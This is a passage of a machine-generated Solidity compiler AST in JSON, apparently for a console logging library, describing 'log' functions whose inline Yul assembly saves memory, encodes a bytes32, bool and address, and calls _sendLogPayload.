22","nodeType":"YulExpressionStatement","src":"68158:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"68202:4:22","nodeType":"YulLiteral","src":"68202:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"68208:4:22","nodeType":"YulLiteral","src":"68208:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"68195:6:22","nodeType":"YulIdentifier","src":"68195:6:22"},"nativeSrc":"68195:18:22","nodeType":"YulFunctionCall","src":"68195:18:22"},"nativeSrc":"68195:18:22","nodeType":"YulExpressionStatement","src":"68195:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"68233:4:22","nodeType":"YulLiteral","src":"68233:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"68239:2:22","nodeType":"YulIdentifier","src":"68239:2:22"}],"functionName":{"name":"mstore","nativeSrc":"68226:6:22","nodeType":"YulIdentifier","src":"68226:6:22"},"nativeSrc":"68226:16:22","nodeType":"YulFunctionCall","src":"68226:16:22"},"nativeSrc":"68226:16:22","nodeType":"YulExpressionStatement","src":"68226:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"68262:4:22","nodeType":"YulLiteral","src":"68262:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"68268:2:22","nodeType":"YulIdentifier","src":"68268:2:22"}],"functionName":{"name":"mstore","nativeSrc":"68255:6:22","nodeType":"YulIdentifier","src":"68255:6:22"},"nativeSrc":"68255:16:22","nodeType":"YulFunctionCall","src":"68255:16:22"},"nativeSrc":"68255:16:22","nodeType":"YulExpressionStatement","src":"68255:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"68296:4:22","nodeType":"YulLiteral","src":"68296:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"68302:2:22","nodeType":"YulIdentifier","src":"68302:2:22"}],"functionName":{"name":"writeString","nativeSrc":"68284:11:22","nodeType":"YulIdentifier","src":"68284:11:22"},"nativeSrc":"68284:21:22","nodeType":"YulFunctionCall","src":"68284:21:22"},"nativeSrc":"68284:21:22","nodeType":"YulExpressionStatement","src":"68284:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35894,"isOffset":false,"isSlot":false,"src":"67923:2:22","valueSize":1},{"declaration":35897,"isOffset":false,"isSlot":false,"src":"67953:2:22","valueSize":1},{"declaration":35900,"isOffset":false,"isSlot":false,"src":"67983:2:22","valueSize":1},{"declaration":35903,"isOffset":false,"isSlot":false,"src":"68013:2:22","valueSize":1},{"declaration":35906,"isOffset":false,"isSlot":false,"src":"68043:2:22","valueSize":1},{"declaration":35909,"isOffset":false,"isSlot":false,"src":"68073:2:22","valueSize":1},{"declaration":35886,"isOffset":false,"isSlot":false,"src":"68302:2:22","valueSize":1},{"declaration":35888,"isOffset":false,"isSlot":false,"src":"68239:2:22","valueSize":1},{"declaration":35890,"isOffset":false,"isSlot":false,"src":"68268:2:22","valueSize":1}],"id":35911,"nodeType":"InlineAssembly","src":"67545:770:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35913,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"68340:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35914,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"68346:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35912,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"68324:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35915,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"68324:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35916,"nodeType":"ExpressionStatement","src":"68324:27:22"},{"AST":{"nativeSrc":"68370:185:22","nodeType":"YulBlock","src":"68370:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"68391:4:22","nodeType":"YulLiteral","src":"68391:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"68397:2:22","nodeType":"YulIdentifier","src":"68397:2:22"}],"functionName":{"name":"mstore","nativeSrc":"68384:6:22","nodeType":"YulIdentifier","src":"68384:6:22"},"nativeSrc":"68384:16:22","nodeType":"YulFunctionCall","src":"68384:16:22"},"nativeSrc":"68384:16:22","nodeType":"YulExpressionStatement","src":"68384:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"68420:4:22","nodeType":"YulLiteral","src":"68420:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"68426:2:22","nodeType":"YulIdentifier","src":"68426:2:22"}],"functionName":{"name":"mstore","nativeSrc":"68413:6:22","nodeType":"YulIdentifier","src":"68413:6:22"},"nativeSrc":"68413:16:22","nodeType":"YulFunctionCall","src":"68413:16:22"},"nativeSrc":"68413:16:22","nodeType":"YulExpressionStatement","src":"68413:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"68449:4:22","nodeType":"YulLiteral","src":"68449:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"68455:2:22","nodeType":"YulIdentifier","src":"68455:2:22"}],"functionName":{"name":"mstore","nativeSrc":"68442:6:22","nodeType":"YulIdentifier","src":"68442:6:22"},"nativeSrc":"68442:16:22","nodeType":"YulFunctionCall","src":"68442:16:22"},"nativeSrc":"68442:16:22","nodeType":"YulExpressionStatement","src":"68442:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"68478:4:22","nodeType":"YulLiteral","src":"68478:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"68484:2:22","nodeType":"YulIdentifier","src":"68484:2:22"}],"functionName":{"name":"mstore","nativeSrc":"68471:6:22","nodeType":"YulIdentifier","src":"68471:6:22"},"nativeSrc":"68471:16:22","nodeType":"YulFunctionCall","src":"68471:16:22"},"nativeSrc":"68471:16:22","nodeType":"YulExpressionStatement","src":"68471:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"68507:4:22","nodeType":"YulLiteral","src":"68507:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"68513:2:22","nodeType":"YulIdentifier","src":"68513:2:22"}],"functionName":{"name":"mstore","nativeSrc":"68500:6:22","nodeType":"YulIdentifier","src":"68500:6:22"},"nativeSrc":"68500:16:22","nodeType":"YulFunctionCall","src":"68500:16:22"},"nativeSrc":"68500:16:22","nodeType":"YulExpressionStatement","src":"68500:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"68536:4:22","nodeType":"YulLiteral","src":"68536:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"68542:2:22","nodeType":"YulIdentifier","src":"68542:2:22"}],"functionName":{"name":"mstore","nativeSrc":"68529:6:22","nodeType":"YulIdentifier","src":"68529:6:22"},"nativeSrc":"68529:16:22","nodeType":"YulFunctionCall","src":"68529:16:22"},"nativeSrc":"68529:16:22","nodeType":"YulExpressionStatement","src":"68529:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35894,"isOffset":false,"isSlot":false,"src":"68397:2:22","valueSize":1},{"declaration":35897,"isOffset":false,"isSlot":false,"src":"68426:2:22","valueSize":1},{"declaration":35900,"isOffset":false,"isSlot":false,"src":"68455:2:22","valueSize":1},{"declaration":35903,"isOffset":false,"isSlot":false,"src":"68484:2:22","valueSize":1},{"declaration":35906,"isOffset":false,"isSlot":false,"src":"68513:2:22","valueSize":1},{"declaration":35909,"isOffset":false,"isSlot":false,"src":"68542:2:22","valueSize":1}],"id":35917,"nodeType":"InlineAssembly","src":"68361:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"67364:3:22","parameters":{"id":35891,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35886,"mutability":"mutable","name":"p0","nameLocation":"67376:2:22","nodeType":"VariableDeclaration","scope":35919,"src":"67368:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35885,"name":"bytes32","nodeType":"ElementaryTypeName","src":"67368:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35888,"mutability":"mutable","name":"p1","nameLocation":"67385:2:22","nodeType":"VariableDeclaration","scope":35919,"src":"67380:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35887,"name":"bool","nodeType":"ElementaryTypeName","src":"67380:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":35890,"mutability":"mutable","name":"p2","nameLocation":"67397:2:22","nodeType":"VariableDeclaration","scope":35919,"src":"67389:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":35889,"name":"address","nodeType":"ElementaryTypeName","src":"67389:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"67367:33:22"},"returnParameters":{"id":35892,"nodeType":"ParameterList","parameters":[],"src":"67415:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35954,"nodeType":"FunctionDefinition","src":"68567:1200:22","nodes":[],"body":{"id":35953,"nodeType":"Block","src":"68624:1143:22","nodes":[],"statements":[{"assignments":[35929],"declarations":[{"constant":false,"id":35929,"mutability":"mutable","name":"m0","nameLocation":"68642:2:22","nodeType":"VariableDeclaration","scope":35953,"src":"68634:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35928,"name":"bytes32","nodeType":"ElementaryTypeName","src":"68634:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35930,"nodeType":"VariableDeclarationStatement","src":"68634:10:22"},{"assignments":[35932],"declarations":[{"constant":false,"id":35932,"mutability":"mutable","name":"m1","nameLocation":"68662:2:22","nodeType":"VariableDeclaration","scope":35953,"src":"68654:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35931,"name":"bytes32","nodeType":"ElementaryTypeName","src":"68654:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35933,"nodeType":"VariableDeclarationStatement","src":"68654:10:22"},{"assignments":[35935],"declarations":[{"constant":false,"id":35935,"mutability":"mutable","name":"m2","nameLocation":"68682:2:22","nodeType":"VariableDeclaration","scope":35953,"src":"68674:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35934,"name":"bytes32","nodeType":"ElementaryTypeName","src":"68674:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35936,"nodeType":"VariableDeclarationStatement","src":"68674:10:22"},{"assignments":[35938],"declarations":[{"constant":false,"id":35938,"mutability":"mutable","name":"m3","nameLocation":"68702:2:22","nodeType":"VariableDeclaration","scope":35953,"src":"68694:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35937,"name":"bytes32","nodeType":"ElementaryTypeName","src":"68694:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35939,"nodeType":"VariableDeclarationStatement","src":"68694:10:22"},{"assignments":[35941],"declarations":[{"constant":false,"id":35941,"mutability":"mutable","name":"m4","nameLocation":"68722:2:22","nodeType":"VariableDeclaration","scope":35953,"src":"68714:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35940,"name":"bytes32","nodeType":"ElementaryTypeName","src":"68714:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35942,"nodeType":"VariableDeclarationStatement","src":"68714:10:22"},{"assignments":[35944],"declarations":[{"constant":false,"id":35944,"mutability":"mutable","name":"m5","nameLocation":"68742:2:22","nodeType":"VariableDeclaration","scope":35953,"src":"68734:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35943,"name":"bytes32","nodeType":"ElementaryTypeName","src":"68734:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35945,"nodeType":"VariableDeclarationStatement","src":"68734:10:22"},{"AST":{"nativeSrc":"68763:758:22","nodeType":"YulBlock","src":"68763:758:22","statements":[{"body":{"nativeSrc":"68806:313:22","nodeType":"YulBlock","src":"68806:313:22","statements":[{"nativeSrc":"68824:15:22","nodeType":"YulVariableDeclaration","src":"68824:15:22","value":{"kind":"number","nativeSrc":"68838:1:22","nodeType":"YulLiteral","src":"68838:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"68828:6:22","nodeType":"YulTypedName","src":"68828:6:22","type":""}]},{"body":{"nativeSrc":"68909:40:22","nodeType":"YulBlock","src":"68909:40:22","statements":[{"body":{"nativeSrc":"68938:9:22","nodeType":"YulBlock","src":"68938:9:22","statements":[{"nativeSrc":"68940:5:22","nodeType":"YulBreak","src":"68940:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"68926:6:22","nodeType":"YulIdentifier","src":"68926:6:22"},{"name":"w","nativeSrc":"68934:1:22","nodeType":"YulIdentifier","src":"68934:1:22"}],"functionName":{"name":"byte","nativeSrc":"68921:4:22","nodeType":"YulIdentifier","src":"68921:4:22"},"nativeSrc":"68921:15:22","nodeType":"YulFunctionCall","src":"68921:15:22"}],"functionName":{"name":"iszero","nativeSrc":"68914:6:22","nodeType":"YulIdentifier","src":"68914:6:22"},"nativeSrc":"68914:23:22","nodeType":"YulFunctionCall","src":"68914:23:22"},"nativeSrc":"68911:36:22","nodeType":"YulIf","src":"68911:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"68866:6:22","nodeType":"YulIdentifier","src":"68866:6:22"},{"kind":"number","nativeSrc":"68874:4:22","nodeType":"YulLiteral","src":"68874:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"68863:2:22","nodeType":"YulIdentifier","src":"68863:2:22"},"nativeSrc":"68863:16:22","nodeType":"YulFunctionCall","src":"68863:16:22"},"nativeSrc":"68856:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"68880:28:22","nodeType":"YulBlock","src":"68880:28:22","statements":[{"nativeSrc":"68882:24:22","nodeType":"YulAssignment","src":"68882:24:22","value":{"arguments":[{"name":"length","nativeSrc":"68896:6:22","nodeType":"YulIdentifier","src":"68896:6:22"},{"kind":"number","nativeSrc":"68904:1:22","nodeType":"YulLiteral","src":"68904:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"68892:3:22","nodeType":"YulIdentifier","src":"68892:3:22"},"nativeSrc":"68892:14:22","nodeType":"YulFunctionCall","src":"68892:14:22"},"variableNames":[{"name":"length","nativeSrc":"68882:6:22","nodeType":"YulIdentifier","src":"68882:6:22"}]}]},"pre":{"nativeSrc":"68860:2:22","nodeType":"YulBlock","src":"68860:2:22","statements":[]},"src":"68856:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"68973:3:22","nodeType":"YulIdentifier","src":"68973:3:22"},{"name":"length","nativeSrc":"68978:6:22","nodeType":"YulIdentifier","src":"68978:6:22"}],"functionName":{"name":"mstore","nativeSrc":"68966:6:22","nodeType":"YulIdentifier","src":"68966:6:22"},"nativeSrc":"68966:19:22","nodeType":"YulFunctionCall","src":"68966:19:22"},"nativeSrc":"68966:19:22","nodeType":"YulExpressionStatement","src":"68966:19:22"},{"nativeSrc":"69002:37:22","nodeType":"YulVariableDeclaration","src":"69002:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"69019:3:22","nodeType":"YulLiteral","src":"69019:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"69028:1:22","nodeType":"YulLiteral","src":"69028:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"69031:6:22","nodeType":"YulIdentifier","src":"69031:6:22"}],"functionName":{"name":"shl","nativeSrc":"69024:3:22","nodeType":"YulIdentifier","src":"69024:3:22"},"nativeSrc":"69024:14:22","nodeType":"YulFunctionCall","src":"69024:14:22"}],"functionName":{"name":"sub","nativeSrc":"69015:3:22","nodeType":"YulIdentifier","src":"69015:3:22"},"nativeSrc":"69015:24:22","nodeType":"YulFunctionCall","src":"69015:24:22"},"variables":[{"name":"shift","nativeSrc":"69006:5:22","nodeType":"YulTypedName","src":"69006:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"69067:3:22","nodeType":"YulIdentifier","src":"69067:3:22"},{"kind":"number","nativeSrc":"69072:4:22","nodeType":"YulLiteral","src":"69072:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"69063:3:22","nodeType":"YulIdentifier","src":"69063:3:22"},"nativeSrc":"69063:14:22","nodeType":"YulFunctionCall","src":"69063:14:22"},{"arguments":[{"name":"shift","nativeSrc":"69083:5:22","nodeType":"YulIdentifier","src":"69083:5:22"},{"arguments":[{"name":"shift","nativeSrc":"69094:5:22","nodeType":"YulIdentifier","src":"69094:5:22"},{"name":"w","nativeSrc":"69101:1:22","nodeType":"YulIdentifier","src":"69101:1:22"}],"functionName":{"name":"shr","nativeSrc":"69090:3:22","nodeType":"YulIdentifier","src":"69090:3:22"},"nativeSrc":"69090:13:22","nodeType":"YulFunctionCall","src":"69090:13:22"}],"functionName":{"name":"shl","nativeSrc":"69079:3:22","nodeType":"YulIdentifier","src":"69079:3:22"},"nativeSrc":"69079:25:22","nodeType":"YulFunctionCall","src":"69079:25:22"}],"functionName":{"name":"mstore","nativeSrc":"69056:6:22","nodeType":"YulIdentifier","src":"69056:6:22"},"nativeSrc":"69056:49:22","nodeType":"YulFunctionCall","src":"69056:49:22"},"nativeSrc":"69056:49:22","nodeType":"YulExpressionStatement","src":"69056:49:22"}]},"name":"writeString","nativeSrc":"68777:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"68798:3:22","nodeType":"YulTypedName","src":"68798:3:22","type":""},{"name":"w","nativeSrc":"68803:1:22","nodeType":"YulTypedName","src":"68803:1:22","type":""}],"src":"68777:342:22"},{"nativeSrc":"69132:17:22","nodeType":"YulAssignment","src":"69132:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"69144:4:22","nodeType":"YulLiteral","src":"69144:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"69138:5:22","nodeType":"YulIdentifier","src":"69138:5:22"},"nativeSrc":"69138:11:22","nodeType":"YulFunctionCall","src":"69138:11:22"},"variableNames":[{"name":"m0","nativeSrc":"69132:2:22","nodeType":"YulIdentifier","src":"69132:2:22"}]},{"nativeSrc":"69162:17:22","nodeType":"YulAssignment","src":"69162:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"69174:4:22","nodeType":"YulLiteral","src":"69174:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"69168:5:22","nodeType":"YulIdentifier","src":"69168:5:22"},"nativeSrc":"69168:11:22","nodeType":"YulFunctionCall","src":"69168:11:22"},"variableNames":[{"name":"m1","nativeSrc":"69162:2:22","nodeType":"YulIdentifier","src":"69162:2:22"}]},{"nativeSrc":"69192:17:22","nodeType":"YulAssignment","src":"69192:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"69204:4:22","nodeType":"YulLiteral","src":"69204:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"69198:5:22","nodeType":"YulIdentifier","src":"69198:5:22"},"nativeSrc":"69198:11:22","nodeType":"YulFunctionCall","src":"69198:11:22"},"variableNames":[{"name":"m2","nativeSrc":"69192:2:22","nodeType":"YulIdentifier","src":"69192:2:22"}]},{"nativeSrc":"69222:17:22","nodeType":"YulAssignment","src":"69222:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"69234:4:22","nodeType":"YulLiteral","src":"69234:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"69228:5:22","nodeType":"YulIdentifier","src":"69228:5:22"},"nativeSrc":"69228:11:22","nodeType":"YulFunctionCall","src":"69228:11:22"},"variableNames":[{"name":"m3","nativeSrc":"69222:2:22","nodeType":"YulIdentifier","src":"69222:2:22"}]},{"nativeSrc":"69252:17:22","nodeType":"YulAssignment","src":"69252:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"69264:4:22","nodeType":"YulLiteral","src":"69264:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"69258:5:22","nodeType":"YulIdentifier","src":"69258:5:22"},"nativeSrc":"69258:11:22","nodeType":"YulFunctionCall","src":"69258:11:22"},"variableNames":[{"name":"m4","nativeSrc":"69252:2:22","nodeType":"YulIdentifier","src":"69252:2:22"}]},{"nativeSrc":"69282:17:22","nodeType":"YulAssignment","src":"69282:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"69294:4:22","nodeType":"YulLiteral","src":"69294:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"69288:5:22","nodeType":"YulIdentifier","src":"69288:5:22"},"nativeSrc":"69288:11:22","nodeType":"YulFunctionCall","src":"69288:11:22"},"variableNames":[{"name":"m5","nativeSrc":"69282:2:22","nodeType":"YulIdentifier","src":"69282:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"69371:4:22","nodeType":"YulLiteral","src":"69371:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"69377:10:22","nodeType":"YulLiteral","src":"69377:10:22","type":"","value":"0x850b7ad6"}],"functionName":{"name":"mstore","nativeSrc":"69364:6:22","nodeType":"YulIdentifier","src":"69364:6:22"},"nativeSrc":"69364:24:22","nodeType":"YulFunctionCall","src":"69364:24:22"},"nativeSrc":"69364:24:22","nodeType":"YulExpressionStatement","src":"69364:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"69408:4:22","nodeType":"YulLiteral","src":"69408:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"69414:4:22","nodeType":"YulLiteral","src":"69414:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"69401:6:22","nodeType":"YulIdentifier","src":"69401:6:22"},"nativeSrc":"69401:18:22","nodeType":"YulFunctionCall","src":"69401:18:22"},"nativeSrc":"69401:18:22","nodeType":"YulExpressionStatement","src":"69401:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"69439:4:22","nodeType":"YulLiteral","src":"69439:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"69445:2:22","nodeType":"YulIdentifier","src":"69445:2:22"}],"functionName":{"name":"mstore","nativeSrc":"69432:6:22","nodeType":"YulIdentifier","src":"69432:6:22"},"nativeSrc":"69432:16:22","nodeType":"YulFunctionCall","src":"69432:16:22"},"nativeSrc":"69432:16:22","nodeType":"YulExpressionStatement","src":"69432:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"69468:4:22","nodeType":"YulLiteral","src":"69468:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"69474:2:22","nodeType":"YulIdentifier","src":"69474:2:22"}],"functionName":{"name":"mstore","nativeSrc":"69461:6:22","nodeType":"YulIdentifier","src":"69461:6:22"},"nativeSrc":"69461:16:22","nodeType":"YulFunctionCall","src":"69461:16:22"},"nativeSrc":"69461:16:22","nodeType":"YulExpressionStatement","src":"69461:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"69502:4:22","nodeType":"YulLiteral","src":"69502:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"69508:2:22","nodeType":"YulIdentifier","src":"69508:2:22"}],"functionName":{"name":"writeString","nativeSrc":"69490:11:22","nodeType":"YulIdentifier","src":"69490:11:22"},"nativeSrc":"69490:21:22","nodeType":"YulFunctionCall","src":"69490:21:22"},"nativeSrc":"69490:21:22","nodeType":"YulExpressionStatement","src":"69490:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35929,"isOffset":false,"isSlot":false,"src":"69132:2:22","valueSize":1},{"declaration":35932,"isOffset":false,"isSlot":false,"src":"69162:2:22","valueSize":1},{"declaration":35935,"isOffset":false,"isSlot":false,"src":"69192:2:22","valueSize":1},{"declaration":35938,"isOffset":false,"isSlot":false,"src":"69222:2:22","valueSize":1},{"declaration":35941,"isOffset":false,"isSlot":false,"src":"69252:2:22","valueSize":1},{"declaration":35944,"isOffset":false,"isSlot":false,"src":"69282:2:22","valueSize":1},{"declaration":35921,"isOffset":false,"isSlot":false,"src":"69508:2:22","valueSize":1},{"declaration":35923,"isOffset":false,"isSlot":false,"src":"69445:2:22","valueSize":1},{"declaration":35925,"isOffset":false,"isSlot":false,"src":"69474:2:22","valueSize":1}],"id":35946,"nodeType":"InlineAssembly","src":"68754:767:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35948,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"69546:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35949,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"69552:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35947,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"69530:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35950,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"69530:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35951,"nodeType":"ExpressionStatement","src":"69530:27:22"},{"AST":{"nativeSrc":"69576:185:22","nodeType":"YulBlock","src":"69576:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"69597:4:22","nodeType":"YulLiteral","src":"69597:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"69603:2:22","nodeType":"YulIdentifier","src":"69603:2:22"}],"functionName":{"name":"mstore","nativeSrc":"69590:6:22","nodeType":"YulIdentifier","src":"69590:6:22"},"nativeSrc":"69590:16:22","nodeType":"YulFunctionCall","src":"69590:16:22"},"nativeSrc":"69590:16:22","nodeType":"YulExpressionStatement","src":"69590:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"69626:4:22","nodeType":"YulLiteral","src":"69626:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"69632:2:22","nodeType":"YulIdentifier","src":"69632:2:22"}],"functionName":{"name":"mstore","nativeSrc":"69619:6:22","nodeType":"YulIdentifier","src":"69619:6:22"},"nativeSrc":"69619:16:22","nodeType":"YulFunctionCall","src":"69619:16:22"},"nativeSrc":"69619:16:22","nodeType":"YulExpressionStatement","src":"69619:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"69655:4:22","nodeType":"YulLiteral","src":"69655:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"69661:2:22","nodeType":"YulIdentifier","src":"69661:2:22"}],"functionName":{"name":"mstore","nativeSrc":"69648:6:22","nodeType":"YulIdentifier","src":"69648:6:22"},"nativeSrc":"69648:16:22","nodeType":"YulFunctionCall","src":"69648:16:22"},"nativeSrc":"69648:16:22","nodeType":"YulExpressionStatement","src":"69648:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"69684:4:22","nodeType":"YulLiteral","src":"69684:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"69690:2:22","nodeType":"YulIdentifier","src":"69690:2:22"}],"functionName":{"name":"mstore","nativeSrc":"69677:6:22","nodeType":"YulIdentifier","src":"69677:6:22"},"nativeSrc":"69677:16:22","nodeType":"YulFunctionCall","src":"69677:16:22"},"nativeSrc":"69677:16:22","nodeType":"YulExpressionStatement","src":"69677:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"69713:4:22","nodeType":"YulLiteral","src":"69713:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"69719:2:22","nodeType":"YulIdentifier","src":"69719:2:22"}],"functionName":{"name":"mstore","nativeSrc":"69706:6:22","nodeType":"YulIdentifier","src":"69706:6:22"},"nativeSrc":"69706:16:22","nodeType":"YulFunctionCall","src":"69706:16:22"},"nativeSrc":"69706:16:22","nodeType":"YulExpressionStatement","src":"69706:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"69742:4:22","nodeType":"YulLiteral","src":"69742:4:22","t